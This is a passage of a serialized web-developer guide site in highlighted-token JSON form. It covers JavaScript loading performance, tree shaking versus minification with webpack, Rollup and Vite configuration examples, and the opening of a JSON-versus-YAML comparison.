reportToAnalytics",[1560,136139,136140],{"class":1570},"(metric));\n",[1560,136142,136143,136146,136148,136150,136152,136154,136156],{"class":1562,"line":365},[1560,136144,136145],{"class":1566},"onLCP",[1560,136147,11495],{"class":1570},[1560,136149,136130],{"class":2219},[1560,136151,1733],{"class":1570},[1560,136153,11503],{"class":1669},[1560,136155,136137],{"class":1566},[1560,136157,136140],{"class":1570},[1560,136159,136160,136163,136165,136167,136169,136171,136173],{"class":1562,"line":889},[1560,136161,136162],{"class":1566},"onCLS",[1560,136164,11495],{"class":1570},[1560,136166,136130],{"class":2219},[1560,136168,1733],{"class":1570},[1560,136170,11503],{"class":1669},[1560,136172,136137],{"class":1566},[1560,136174,136140],{"class":1570},[16,136176,136177],{},"Send real-user metrics to your analytics service. Lab data (Lighthouse) does not always match field data (real users on slow networks).",[16,136179,136180],{},"###bundlewatch and Size Limit",[16,136182,136183],{},"Add size budgets to CI so bundles never grow silently:",[135,136185,136187],{"className":23484,"code":136186,"language":23486,"meta":141,"style":141},"{\n  \"scripts\": {\n    \"size\": \"size-limit\"\n  },\n  \"size-limit\": [\n    { \"path\": \"dist\u002Fapp.js\", \"limit\": \"80 KB\" }\n  ]\n}\n",[143,136188,136189,136193,136200,136210,136214,136221,136245,136249],{"__ignoreMap":141},[1560,136190,136191],{"class":1562,"line":1563},[1560,136192,23493],{"class":1570},[1560,136194,136195,136198],{"class":1562,"line":337},[1560,136196,136197],{"class":1576},"  \"scripts\"",[1560,136199,37098],{"class":1570},[1560,136201,136202,136205,136207],{"class":1562,"line":343},[1560,136203,136204],{"class":1576},"    \"size\"",[1560,136206,1663],{"class":1570},[1560,136208,136209],{"class":5634},"\"size-limit\"\n",[1560,136211,136212],{"class":1562,"line":365},[1560,136213,11862],{"class":1570},[1560,136215,136216,136219],{"class":1562,"line":889},[1560,136217,136218],{"class":1576},"  \"size-limit\"",[1560,136220,82876],{"class":1570},[1560,136222,136223,136225,136228,136230,136233,136235,136238,136240,136243],{"class":1562,"line":1710},[1560,136224,44815],{"class":1570},[1560,136226,136227],{"class":1576},"\"path\"",[1560,136229,1663],{"class":1570},[1560,136231,136232],{"class":5634},"\"dist\u002Fapp.js\"",[1560,136234,1459],{"class":1570},[1560,136236,136237],{"class":1576},"\"limit\"",[1560,136239,1663],{"class":1570},[1560,136241,136242],{"class":5634},"\"80 KB\"",[1560,136244,27879],{"class":1570},[1560,136246,136247],{"class":1562,"line":1717},[1560,136248,49526],{"class":1570},[1560,136250,136251],{"class":1562,"line":1747},[1560,136252,1585],{"class":1570},[16,136254,136255],{},"If a PR adds code that pushes the bundle over 80 KB, the build fails.",[11,136257,136259],{"id":136258},"checklist-for-faster-javascript","Checklist for Faster JavaScript",[41,136261,136262,136269,136272,136275,136278,136281,136284],{},[44,136263,1388,136264,1531,136266,136268],{},[143,136265,135283],{},[143,136267,135428],{}," for all non-critical scripts",[44,136270,136271],{},"Code-split routes and heavy components",[44,136273,136274],{},"Extract vendor libraries into a separate chunk for better caching",[44,136276,136277],{},"Move CPU-intensive work to Web Workers",[44,136279,136280],{},"Set bundle size limits in CI",[44,136282,136283],{},"Monitor Core Web Vitals from real users",[44,136285,136286],{},"Tree-shake and minify every production build",[11,136288,1355],{"id":1354},[41,136290,136291,136294,136302,136305,136308],{},[44,136292,136293],{},"JavaScript blocks the main thread — loading strategy directly impacts perceived performance",[44,136295,136296,136298,136299,136301],{},[143,136297,135283],{}," is the safe default; ",[143,136300,82166],{}," is for independent scripts only",[44,136303,136304],{},"Code splitting reduces initial parse time by loading features on demand",[44,136306,136307],{},"Web Workers move heavy computation off the main thread",[44,136309,136310],{},"Measure both lab data (Lighthouse) and field data (real users) to catch regressions early",[11,136312,286],{"id":285},[16,136314,136315,136316,136319],{},"Before deploying, minify your JavaScript with our free ",[98,136317,136318],{"href":133827},"JS Minifier"," to see the size difference. Smaller scripts parse faster, download quicker, and improve every Core Web Vitals metric.",[11,136321,321],{"id":320},[41,136323,136324,136330,136335],{},[44,136325,136326,136329],{},[98,136327,136328],{"href":133806},"JavaScript Minification Guide"," — How whitespace removal and mangling reduce file size",[44,136331,136332,136334],{},[98,136333,133813],{"href":133812}," — Eliminate unused code before minifying for maximum savings",[44,136336,136337,136339],{},[98,136338,21351],{"href":21350}," — Apply the same optimization principles to your stylesheets",[2043,136341,131131],{},{"title":141,"searchDepth":337,"depth":337,"links":136343},[136344,136345,136351,136355,136360,136363,136367,136368,136369,136370],{"id":135190,"depth":337,"text":135191},{"id":135200,"depth":337,"text":135201,"children":136346},[136347,136348,136349,136350],{"id":135210,"depth":343,"text":135211},{"id":82166,"depth":343,"text":135246},{"id":135283,"depth":343,"text":135284},{"id":135321,"depth":343,"text":135322},{"id":135437,"depth":337,"text":135438,"children":136352},[136353,136354],{"id":135444,"depth":343,"text":135445},{"id":135483,"depth":343,"text":135484},{"id":135526,"depth":337,"text":135527,"children":136356},[136357,136358,136359],{"id":135533,"depth":343,"text":135534},{"id":135630,"depth":343,"text":135631},{"id":135744,"depth":343,"text":135745},{"id":135828,"depth":337,"text":135829,"children":136361},[136362],{"id":135983,"depth":343,"text":135984},{"id":136069,"depth":337,"text":136070,"children":136364},[136365,136366],{"id":69277,"depth":343,"text":4443},{"id":136096,"depth":343,"text":136097},{"id":136258,"depth":337,"text":136259},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Optimize JavaScript loading with async and defer, reduce parse time with code splitting, and offload work to Web Workers for faster pages.",{"immutable":363},{"title":135185,"description":136371},"guides\u002Fjs-performance-optimization","UYDwNqq283OY-FmxTx4YKtq8j03pteVHRirRLMeOpXc",{"id":136377,"title":136378,"body":136379,"date":2070,"description":137307,"extension":361,"meta":137308,"navigation":363,"path":133812,"readingTime":1717,"seo":137309,"stem":137310,"__hash__":137311},"guides\u002Fguides\u002Fjs-tree-shaking.md","Tree Shaking vs Minification: Reducing JavaScript Bundle Size",{"type":8,"value":136380,"toc":137290},[136381,136385,136388,136391,136395,136406,136508,136525,136531,136541,136545,136548,136571,136707,136719,136723,136726,136782,136785,136789,136795,136816,136819,136828,136861,136864,136867,136896,136914,136918,136920,137003,137010,137012,137094,137097,137099,137148,137151,137155,137158,137171,137174,137177,137179,137233,137235,137260,137262,137268,137270,137287],[11,136382,136384],{"id":136383},"what-is-tree-shaking","What Is Tree Shaking?",[16,136386,136387],{},"Tree shaking is a dead code elimination technique that removes exports your application never uses. The name comes from the mental image of shaking a tree and letting the dead leaves fall off.",[16,136389,136390],{},"Unlike minification — which shortens code but keeps all of it — tree shaking actually deletes unused functions, classes, and variables from your bundle. The two techniques work together: tree shaking removes dead code, then minification compresses what remains.",[11,136392,136394],{"id":136393},"why-es-modules-matter","Why ES Modules Matter",[16,136396,136397,136398,5181,136401,1856,136403,136405],{},"Tree shaking depends on ",[47,136399,136400],{},"ES module syntax",[143,136402,8162],{},[143,136404,9187],{},"). The reason is static analysis.",[135,136407,136409],{"className":1607,"code":136408,"language":1609,"meta":141,"style":141},"\u002F\u002F ES modules — statically analyzable\nimport { debounce } from 'lodash-es';\nexport function formatDate(date) { ... }\n\n\u002F\u002F CommonJS — dynamic and unpredictable\nconst { debounce } = require('lodash');\nmodule.exports = { formatDate: function(date) { ... } };\n",[143,136410,136411,136416,136429,136448,136452,136457,136478],{"__ignoreMap":141},[1560,136412,136413],{"class":1562,"line":1563},[1560,136414,136415],{"class":1649},"\u002F\u002F ES modules — statically analyzable\n",[1560,136417,136418,136420,136422,136424,136427],{"class":1562,"line":337},[1560,136419,8162],{"class":1669},[1560,136421,133260],{"class":1570},[1560,136423,8168],{"class":1669},[1560,136425,136426],{"class":5634}," 'lodash-es'",[1560,136428,2228],{"class":1570},[1560,136430,136431,136433,136435,136438,136440,136442,136444,136446],{"class":1562,"line":343},[1560,136432,9187],{"class":1669},[1560,136434,38314],{"class":1669},[1560,136436,136437],{"class":1566}," formatDate",[1560,136439,1688],{"class":1570},[1560,136441,88150],{"class":2219},[1560,136443,27874],{"class":1570},[1560,136445,24388],{"class":1669},[1560,136447,27879],{"class":1570},[1560,136449,136450],{"class":1562,"line":365},[1560,136451,1702],{"emptyLinePlaceholder":363},[1560,136453,136454],{"class":1562,"line":889},[1560,136455,136456],{"class":1649},"\u002F\u002F CommonJS — dynamic and unpredictable\n",[1560,136458,136459,136461,136463,136465,136467,136469,136471,136473,136476],{"class":1562,"line":1710},[1560,136460,8180],{"class":1669},[1560,136462,1658],{"class":1570},[1560,136464,133199],{"class":1576},[1560,136466,49704],{"class":1570},[1560,136468,7297],{"class":1669},[1560,136470,20658],{"class":1566},[1560,136472,1688],{"class":1570},[1560,136474,136475],{"class":5634},"'lodash'",[1560,136477,1744],{"class":1570},[1560,136479,136480,136482,136484,136486,136488,136490,136493,136495,136497,136499,136501,136503,136505],{"class":1562,"line":1717},[1560,136481,11885],{"class":1576},[1560,136483,468],{"class":1570},[1560,136485,11890],{"class":1576},[1560,136487,8186],{"class":1669},[1560,136489,1658],{"class":1570},[1560,136491,136492],{"class":1566},"formatDate",[1560,136494,1663],{"class":1570},[1560,136496,8648],{"class":1669},[1560,136498,1688],{"class":1570},[1560,136500,88150],{"class":2219},[1560,136502,27874],{"class":1570},[1560,136504,24388],{"class":1669},[1560,136506,136507],{"class":1570}," } };\n",[16,136509,136510,136511,136514,136515,136517,136518,136521,136522,136524],{},"ES module imports are resolved at ",[47,136512,136513],{},"compile time",". The bundler can see exactly which exports a module provides and which ones your code imports. If you import ",[143,136516,133199],{}," but not ",[143,136519,136520],{},"throttle",", the bundler knows ",[143,136523,136520],{}," is safe to drop.",[16,136526,136527,136528,136530],{},"CommonJS ",[143,136529,133141],{}," calls are dynamic — the argument can be a variable, a conditional, or a computed string. The bundler cannot reliably determine what gets used, so it keeps everything.",[16,136532,136533,136535,136536,9423,136538,136540],{},[47,136534,52097],{},": If you want tree shaking to work, use ",[143,136537,8162],{},[143,136539,9187],{}," throughout your codebase.",[11,136542,136544],{"id":136543},"how-tree-shaking-works","How Tree Shaking Works",[16,136546,136547],{},"The process follows three steps:",[77,136549,136550,136559,136565],{},[44,136551,136552,136555,136556,136558],{},[47,136553,136554],{},"Build the dependency graph"," — The bundler starts at your entry point and follows every ",[143,136557,8162],{}," statement to build a complete map of modules and their exports.",[44,136560,136561,136564],{},[47,136562,136563],{},"Mark used exports"," — For each module, the bundler checks which exports are actually referenced by other modules in the graph. Unreferenced exports get marked as dead.",[44,136566,136567,136570],{},[47,136568,136569],{},"Eliminate dead code"," — The bundler removes the marked exports from the output. A minifier then cleans up any orphaned code left behind.",[135,136572,136574],{"className":1607,"code":136573,"language":1609,"meta":141,"style":141},"\u002F\u002F utils.js — three exports\nexport function add(a, b) { return a + b; }\nexport function multiply(a, b) { return a * b; }\nexport function divide(a, b) { return a \u002F b; }\n\n\u002F\u002F app.js — only one import\nimport { add } from '.\u002Futils.js';\nconsole.log(add(2, 3));\n",[143,136575,136576,136581,136610,136637,136664,136668,136673,136687],{"__ignoreMap":141},[1560,136577,136578],{"class":1562,"line":1563},[1560,136579,136580],{"class":1649},"\u002F\u002F utils.js — three exports\n",[1560,136582,136583,136585,136587,136590,136592,136594,136596,136598,136600,136602,136605,136607],{"class":1562,"line":337},[1560,136584,9187],{"class":1669},[1560,136586,38314],{"class":1669},[1560,136588,136589],{"class":1566}," add",[1560,136591,1688],{"class":1570},[1560,136593,98],{"class":2219},[1560,136595,1459],{"class":1570},[1560,136597,28973],{"class":2219},[1560,136599,27874],{"class":1570},[1560,136601,28313],{"class":1669},[1560,136603,136604],{"class":1570}," a ",[1560,136606,9448],{"class":1669},[1560,136608,136609],{"class":1570}," b; }\n",[1560,136611,136612,136614,136616,136619,136621,136623,136625,136627,136629,136631,136633,136635],{"class":1562,"line":343},[1560,136613,9187],{"class":1669},[1560,136615,38314],{"class":1669},[1560,136617,136618],{"class":1566}," multiply",[1560,136620,1688],{"class":1570},[1560,136622,98],{"class":2219},[1560,136624,1459],{"class":1570},[1560,136626,28973],{"class":2219},[1560,136628,27874],{"class":1570},[1560,136630,28313],{"class":1669},[1560,136632,136604],{"class":1570},[1560,136634,8069],{"class":1669},[1560,136636,136609],{"class":1570},[1560,136638,136639,136641,136643,136646,136648,136650,136652,136654,136656,136658,136660,136662],{"class":1562,"line":365},[1560,136640,9187],{"class":1669},[1560,136642,38314],{"class":1669},[1560,136644,136645],{"class":1566}," divide",[1560,136647,1688],{"class":1570},[1560,136649,98],{"class":2219},[1560,136651,1459],{"class":1570},[1560,136653,28973],{"class":2219},[1560,136655,27874],{"class":1570},[1560,136657,28313],{"class":1669},[1560,136659,136604],{"class":1570},[1560,136661,9423],{"class":1669},[1560,136663,136609],{"class":1570},[1560,136665,136666],{"class":1562,"line":889},[1560,136667,1702],{"emptyLinePlaceholder":363},[1560,136669,136670],{"class":1562,"line":1710},[1560,136671,136672],{"class":1649},"\u002F\u002F app.js — only one import\n",[1560,136674,136675,136677,136680,136682,136685],{"class":1562,"line":1717},[1560,136676,8162],{"class":1669},[1560,136678,136679],{"class":1570}," { add } ",[1560,136681,8168],{"class":1669},[1560,136683,136684],{"class":5634}," '.\u002Futils.js'",[1560,136686,2228],{"class":1570},[1560,136688,136689,136691,136693,136695,136697,136699,136701,136703,136705],{"class":1562,"line":1747},[1560,136690,8211],{"class":1570},[1560,136692,8214],{"class":1566},[1560,136694,1688],{"class":1570},[1560,136696,11797],{"class":1566},[1560,136698,1688],{"class":1570},[1560,136700,10099],{"class":1576},[1560,136702,1459],{"class":1570},[1560,136704,17821],{"class":1576},[1560,136706,41941],{"class":1570},[16,136708,136709,136710,136712,136713,1856,136715,136718],{},"The bundler includes ",[143,136711,11797],{}," and removes ",[143,136714,79309],{},[143,136716,136717],{},"divide"," — they are never imported.",[11,136720,136722],{"id":136721},"tree-shaking-vs-dead-code-elimination","Tree Shaking vs Dead Code Elimination",[16,136724,136725],{},"These terms overlap but are not identical:",[193,136727,136728,136740],{},[196,136729,136730],{},[199,136731,136732,136734,136737],{},[202,136733],{},[202,136735,136736],{},"Tree Shaking",[202,136738,136739],{},"Dead Code Elimination",[211,136741,136742,136754,136767],{},[199,136743,136744,136748,136751],{},[216,136745,136746],{},[47,136747,65684],{},[216,136749,136750],{},"Module-level exports",[216,136752,136753],{},"Any unreachable code",[199,136755,136756,136761,136764],{},[216,136757,136758],{},[47,136759,136760],{},"Mechanism",[216,136762,136763],{},"Unused export removal",[216,136765,136766],{},"Unreachable branch removal",[199,136768,136769,136773,136776],{},[216,136770,136771],{},[47,136772,133],{},[216,136774,136775],{},"Removing an exported function you never import",[216,136777,136778,136779],{},"Removing code inside ",[143,136780,136781],{},"if (false) { ... }",[16,136783,136784],{},"Tree shaking operates on the module graph. Dead code elimination operates within individual functions and blocks. Both reduce size, and modern bundlers apply both automatically.",[11,136786,136788],{"id":136787},"side-effects-and-packagejson","Side Effects and Package.json",[16,136790,136791,136792,468],{},"Some modules execute code simply by being imported — even if you never use their exports. These are ",[47,136793,136794],{},"side effects",[135,136796,136798],{"className":1607,"code":136797,"language":1609,"meta":141,"style":141},"\u002F\u002F side-effect.js\nwindow.myGlobal = 'hello';\n",[143,136799,136800,136805],{"__ignoreMap":141},[1560,136801,136802],{"class":1562,"line":1563},[1560,136803,136804],{"class":1649},"\u002F\u002F side-effect.js\n",[1560,136806,136807,136810,136812,136814],{"class":1562,"line":337},[1560,136808,136809],{"class":1570},"window.myGlobal ",[1560,136811,7297],{"class":1669},[1560,136813,116297],{"class":5634},[1560,136815,2228],{"class":1570},[16,136817,136818],{},"Importing this file changes global state. A bundler must keep it, even if no export is used.",[16,136820,136821,136822,136825,136826,8037],{},"To help bundlers optimize correctly, library authors add a ",[143,136823,136824],{},"sideEffects"," field to ",[143,136827,37590],{},[135,136829,136831],{"className":23484,"code":136830,"language":23486,"meta":141,"style":141},"{\n  \"name\": \"my-library\",\n  \"sideEffects\": false\n}\n",[143,136832,136833,136837,136848,136857],{"__ignoreMap":141},[1560,136834,136835],{"class":1562,"line":1563},[1560,136836,23493],{"class":1570},[1560,136838,136839,136841,136843,136846],{"class":1562,"line":337},[1560,136840,80877],{"class":1576},[1560,136842,1663],{"class":1570},[1560,136844,136845],{"class":5634},"\"my-library\"",[1560,136847,11943],{"class":1570},[1560,136849,136850,136853,136855],{"class":1562,"line":343},[1560,136851,136852],{"class":1576},"  \"sideEffects\"",[1560,136854,1663],{"class":1570},[1560,136856,37132],{"class":1576},[1560,136858,136859],{"class":1562,"line":365},[1560,136860,1585],{"class":1570},[16,136862,136863],{},"This declaration tells the bundler: \"No file in this package has side effects. Drop any unused exports freely.\"",[16,136865,136866],{},"If only certain files have side effects:",[135,136868,136870],{"className":23484,"code":136869,"language":23486,"meta":141,"style":141},"{\n  \"sideEffects\": [\".\u002Fsrc\u002Fpolyfills.js\", \".\u002Fsrc\u002Fglobal-setup.js\"]\n}\n",[143,136871,136872,136876,136892],{"__ignoreMap":141},[1560,136873,136874],{"class":1562,"line":1563},[1560,136875,23493],{"class":1570},[1560,136877,136878,136880,136882,136885,136887,136890],{"class":1562,"line":337},[1560,136879,136852],{"class":1576},[1560,136881,37187],{"class":1570},[1560,136883,136884],{"class":5634},"\".\u002Fsrc\u002Fpolyfills.js\"",[1560,136886,1459],{"class":1570},[1560,136888,136889],{"class":5634},"\".\u002Fsrc\u002Fglobal-setup.js\"",[1560,136891,37203],{"class":1570},[1560,136893,136894],{"class":1562,"line":343},[1560,136895,1585],{"class":1570},[16,136897,136898,136901,136902,136905,136906,1459,136908,1466,136910,136913],{},[47,136899,136900],{},"For consumers",": Check whether your dependencies declare ",[143,136903,136904],{},"sideEffects: false",". Libraries like ",[143,136907,133658],{},[143,136909,133640],{},[143,136911,136912],{},"ramda"," do — and that is why they tree-shake well.",[11,136915,136917],{"id":136916},"bundler-configuration","Bundler Configuration",[33,136919,20627],{"id":20626},[135,136921,136923],{"className":1607,"code":136922,"language":1609,"meta":141,"style":141},"\u002F\u002F webpack.config.js\nmodule.exports = {\n  mode: 'production', \u002F\u002F enables tree shaking + Terser\n  optimization: {\n    usedExports: true,        \u002F\u002F mark unused exports\n    minimize: true,           \u002F\u002F run Terser\n    concatenateModules: true, \u002F\u002F scope hoisting\n  },\n};\n",[143,136924,136925,136929,136941,136954,136958,136970,136983,136995,136999],{"__ignoreMap":141},[1560,136926,136927],{"class":1562,"line":1563},[1560,136928,11880],{"class":1649},[1560,136930,136931,136933,136935,136937,136939],{"class":1562,"line":337},[1560,136932,11885],{"class":1576},[1560,136934,468],{"class":1570},[1560,136936,11890],{"class":1576},[1560,136938,8186],{"class":1669},[1560,136940,1571],{"class":1570},[1560,136942,136943,136946,136949,136951],{"class":1562,"line":343},[1560,136944,136945],{"class":1570},"  mode: ",[1560,136947,136948],{"class":5634},"'production'",[1560,136950,1459],{"class":1570},[1560,136952,136953],{"class":1649},"\u002F\u002F enables tree shaking + Terser\n",[1560,136955,136956],{"class":1562,"line":365},[1560,136957,20746],{"class":1570},[1560,136959,136960,136963,136965,136967],{"class":1562,"line":889},[1560,136961,136962],{"class":1570},"    usedExports: ",[1560,136964,20533],{"class":1576},[1560,136966,134261],{"class":1570},[1560,136968,136969],{"class":1649},"\u002F\u002F mark unused exports\n",[1560,136971,136972,136975,136977,136980],{"class":1562,"line":1710},[1560,136973,136974],{"class":1570},"    minimize: ",[1560,136976,20533],{"class":1576},[1560,136978,136979],{"class":1570},",           ",[1560,136981,136982],{"class":1649},"\u002F\u002F run Terser\n",[1560,136984,136985,136988,136990,136992],{"class":1562,"line":1717},[1560,136986,136987],{"class":1570},"    concatenateModules: ",[1560,136989,20533],{"class":1576},[1560,136991,1459],{"class":1570},[1560,136993,136994],{"class":1649},"\u002F\u002F scope hoisting\n",[1560,136996,136997],{"class":1562,"line":1747},[1560,136998,11862],{"class":1570},[1560,137000,137001],{"class":1562,"line":2507},[1560,137002,6607],{"class":1570},[16,137004,137005,137006,137009],{},"Webpack's tree shaking activates in production mode by default. The ",[143,137007,137008],{},"usedExports"," flag tells Webpack to track which exports are used and drop the rest during minification.",[33,137011,20831],{"id":20830},[135,137013,137015],{"className":1607,"code":137014,"language":1609,"meta":141,"style":141},"\u002F\u002F rollup.config.js\nexport default {\n  input: 'src\u002Findex.js',\n  output: {\n    file: 'dist\u002Fbundle.js',\n    format: 'esm',\n  },\n  treeshake: {\n    moduleSideEffects: false, \u002F\u002F assume no side effects\n  },\n};\n",[143,137016,137017,137022,137030,137040,137045,137055,137065,137069,137074,137086,137090],{"__ignoreMap":141},[1560,137018,137019],{"class":1562,"line":1563},[1560,137020,137021],{"class":1649},"\u002F\u002F rollup.config.js\n",[1560,137023,137024,137026,137028],{"class":1562,"line":337},[1560,137025,9187],{"class":1669},[1560,137027,11837],{"class":1669},[1560,137029,1571],{"class":1570},[1560,137031,137032,137035,137038],{"class":1562,"line":343},[1560,137033,137034],{"class":1570},"  input: ",[1560,137036,137037],{"class":5634},"'src\u002Findex.js'",[1560,137039,11943],{"class":1570},[1560,137041,137042],{"class":1562,"line":365},[1560,137043,137044],{"class":1570},"  output: {\n",[1560,137046,137047,137050,137053],{"class":1562,"line":889},[1560,137048,137049],{"class":1570},"    file: ",[1560,137051,137052],{"class":5634},"'dist\u002Fbundle.js'",[1560,137054,11943],{"class":1570},[1560,137056,137057,137060,137063],{"class":1562,"line":1710},[1560,137058,137059],{"class":1570},"    format: ",[1560,137061,137062],{"class":5634},"'esm'",[1560,137064,11943],{"class":1570},[1560,137066,137067],{"class":1562,"line":1717},[1560,137068,11862],{"class":1570},[1560,137070,137071],{"class":1562,"line":1747},[1560,137072,137073],{"class":1570},"  treeshake: {\n",[1560,137075,137076,137079,137081,137083],{"class":1562,"line":2507},[1560,137077,137078],{"class":1570},"    moduleSideEffects: ",[1560,137080,13730],{"class":1576},[1560,137082,1459],{"class":1570},[1560,137084,137085],{"class":1649},"\u002F\u002F assume no side effects\n",[1560,137087,137088],{"class":1562,"line":2524},[1560,137089,11862],{"class":1570},[1560,137091,137092],{"class":1562,"line":2529},[1560,137093,6607],{"class":1570},[16,137095,137096],{},"Rollup was built for ES modules and tree shakes by default. It often produces smaller bundles than Webpack for library code because its scope hoisting is more aggressive.",[33,137098,9643],{"id":20491},[135,137100,137102],{"className":1607,"code":137101,"language":1609,"meta":141,"style":141},"\u002F\u002F vite.config.js\nexport default {\n  build: {\n    rollupOptions: {\n      treeshake: true, \u002F\u002F default in production\n    },\n  },\n};\n",[143,137103,137104,137108,137116,137120,137124,137136,137140,137144],{"__ignoreMap":141},[1560,137105,137106],{"class":1562,"line":1563},[1560,137107,11830],{"class":1649},[1560,137109,137110,137112,137114],{"class":1562,"line":337},[1560,137111,9187],{"class":1669},[1560,137113,11837],{"class":1669},[1560,137115,1571],{"class":1570},[1560,137117,137118],{"class":1562,"line":343},[1560,137119,11844],{"class":1570},[1560,137121,137122],{"class":1562,"line":365},[1560,137123,135775],{"class":1570},[1560,137125,137126,137129,137131,137133],{"class":1562,"line":889},[1560,137127,137128],{"class":1570},"      treeshake: ",[1560,137130,20533],{"class":1576},[1560,137132,1459],{"class":1570},[1560,137134,137135],{"class":1649},"\u002F\u002F default in production\n",[1560,137137,137138],{"class":1562,"line":1710},[1560,137139,17600],{"class":1570},[1560,137141,137142],{"class":1562,"line":1717},[1560,137143,11862],{"class":1570},[1560,137145,137146],{"class":1562,"line":1747},[1560,137147,6607],{"class":1570},[16,137149,137150],{},"Vite uses Rollup for production builds, so tree shaking works out of the box. No extra configuration needed for most projects.",[11,137152,137154],{"id":137153},"tree-shaking-and-minification-together","Tree Shaking and Minification Together",[16,137156,137157],{},"These two techniques are complementary, not competing:",[77,137159,137160,137166],{},[44,137161,137162,137165],{},[47,137163,137164],{},"Tree shaking"," runs first — it removes entire unused modules and exports",[44,137167,137168,137170],{},[47,137169,69519],{}," runs second — it compresses the remaining code by shortening names and removing whitespace",[16,137172,137173],{},"The order matters. If you minify first, variable names get shorter but the dead code is still there. Tree shaking then removes the dead code, but the minifier has already wasted effort on code that gets deleted.",[16,137175,137176],{},"In practice, you do not control this order — your bundler does. Just make sure both are enabled in production mode.",[11,137178,10393],{"id":10392},[41,137180,137181,137194,137203,137212,137222],{},[44,137182,137183,23567,137186,137189,137190,137193],{},[47,137184,137185],{},"Importing entire libraries",[143,137187,137188],{},"import _ from 'lodash'"," imports everything and defeats tree shaking. Use ",[143,137191,137192],{},"import { debounce } from 'lodash-es'"," instead",[44,137195,137196,23567,137199,137202],{},[47,137197,137198],{},"Re-exporting everything",[143,137200,137201],{},"export * from '.\u002Fmodule'"," forces the bundler to keep all exports because it cannot know which ones downstream consumers need",[44,137204,137205,23567,137208,137211],{},[47,137206,137207],{},"Dynamic imports",[143,137209,137210],{},"import('.\u002Fmodule')"," creates a separate chunk; the bundler cannot tree-shake across dynamic boundaries",[44,137213,137214,137217,137218,137221],{},[47,137215,137216],{},"CommonJS dependencies"," — If a dependency uses ",[143,137219,137220],{},"module.exports",", the bundler may conservatively include the entire module",[44,137223,137224,137227,137228,98763,137230,137232],{},[47,137225,137226],{},"Missing sideEffects field"," — Without ",[143,137229,136904],{},[143,137231,37590],{},", bundlers must assume every file might have side effects",[11,137234,1355],{"id":1354},[41,137236,137237,137240,137248,137254,137257],{},[44,137238,137239],{},"Tree shaking removes unused ES module exports; minification compresses what remains",[44,137241,137242,137243,9423,137245,137247],{},"Static ",[143,137244,8162],{},[143,137246,9187],{}," syntax is required — CommonJS defeats tree shaking",[44,137249,137250,137251,137253],{},"Declare ",[143,137252,136904],{}," in your package.json to help bundlers optimize aggressively",[44,137255,137256],{},"Webpack, Rollup, and Vite all support tree shaking in production mode by default",[44,137258,137259],{},"Import only what you need: named imports over namespace imports",[11,137261,286],{"id":285},[16,137263,137264,137265,137267],{},"Test the impact of tree shaking by minifying your JavaScript with our free ",[98,137266,136318],{"href":133827},". See how much smaller your code becomes when unused functions are stripped before compression.",[11,137269,321],{"id":320},[41,137271,137272,137277,137282],{},[44,137273,137274,137276],{},[98,137275,136328],{"href":133806}," — How whitespace removal and variable mangling compress your code",[44,137278,137279,137281],{},[98,137280,135152],{"href":135151}," — Loading, parsing, and execution strategies for faster pages",[44,137283,137284,137286],{},[98,137285,21351],{"href":21350}," — Apply the same dead-code and compression principles to stylesheets",[2043,137288,137289],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":137291},[137292,137293,137294,137295,137296,137297,137302,137303,137304,137305,137306],{"id":136383,"depth":337,"text":136384},{"id":136393,"depth":337,"text":136394},{"id":136543,"depth":337,"text":136544},{"id":136721,"depth":337,"text":136722},{"id":136787,"depth":337,"text":136788},{"id":136916,"depth":337,"text":136917,"children":137298},[137299,137300,137301],{"id":20626,"depth":343,"text":20627},{"id":20830,"depth":343,"text":20831},{"id":20491,"depth":343,"text":9643},{"id":137153,"depth":337,"text":137154},{"id":10392,"depth":337,"text":10393},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Understand how tree shaking eliminates unused code from JavaScript bundles and how it complements minification for maximum size reduction.",{"immutable":363},{"title":136378,"description":137307},"guides\u002Fjs-tree-shaking","jIeLaq9JllsMWJb7DVFIvK-8LLdNiqQzCceNUQZzJ98",{"id":137313,"title":137314,"body":137315,"date":2070,"description":138113,"extension":361,"meta":138114,"navigation":363,"path":37787,"readingTime":1710,"seo":138115,"stem":138116,"__hash__":138117},"guides\u002Fguides\u002Fjson-vs-yaml.md","JSON vs YAML: Which Configuration Format Should You Use?",{"type":8,"value":137316,"toc":138099},[137317,137321,137324,137327,137331,137448,137452,137558,137562,137565,137658,137661,137665,137668,137700,137703,137707,137710,137735,137745,137749,137758,137873,137883,137889,137893,137896,137948,137951,137955,137958,138032,138038,138040,138064,138066,138069,138081,138083,138096],[11,137318,137320],{"id":137319},"what-are-json-and-yaml","What Are JSON and YAML?",[16,137322,137323],{},"JSON (JavaScript Object Notation) and YAML (YAML Ain't Markup Language) are two of the most popular data serialization formats. Both represent structured data, but they take very different approaches to syntax and readability.",[16,137325,137326],{},"JSON is the de facto standard for web APIs and data interchange. YAML is the go-to format for configuration files in CI\u002FCD pipelines, container orchestration, and cloud-native tooling. 